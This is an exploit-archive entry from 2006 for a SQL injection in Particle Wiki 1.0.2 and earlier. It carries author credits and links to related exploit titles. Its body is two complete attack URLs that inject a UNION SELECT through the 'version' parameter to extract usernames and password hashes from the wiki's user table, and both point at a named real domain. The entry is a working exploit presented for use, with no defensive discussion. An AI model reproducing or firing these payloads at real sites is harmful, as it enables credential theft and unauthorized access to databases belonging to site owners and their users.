[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Particle Wiki <= 1.0.2 (version) Remote SQL Injection Vulnerability
# Published : 2006-06-05
# Author : FarhadKey
# Previous Title : Claroline <= 1.7.6 (includePath) Remote Code Execution Exploit
# Next Title : dotWidget CMS <= 1.0.6 (file_path) Remote File Include Vulnerabilities
# Particle wiki <= 1.0.2 Remote SQL_Injection - Username/Password(hash) Extractor
# Thanks to UNSECURED SYSTEMS : http://pridels.blogspot.com/2006/06/particle-wiki-sql-inj.html
# Exploited by FarhadKey from http://www.kapda.ir
Username :
http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,username%20from%20pwiki_users%20/*
Password :
http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,password%20from%20pwiki_users%20/*
# www.Syue.com [2006-06-05]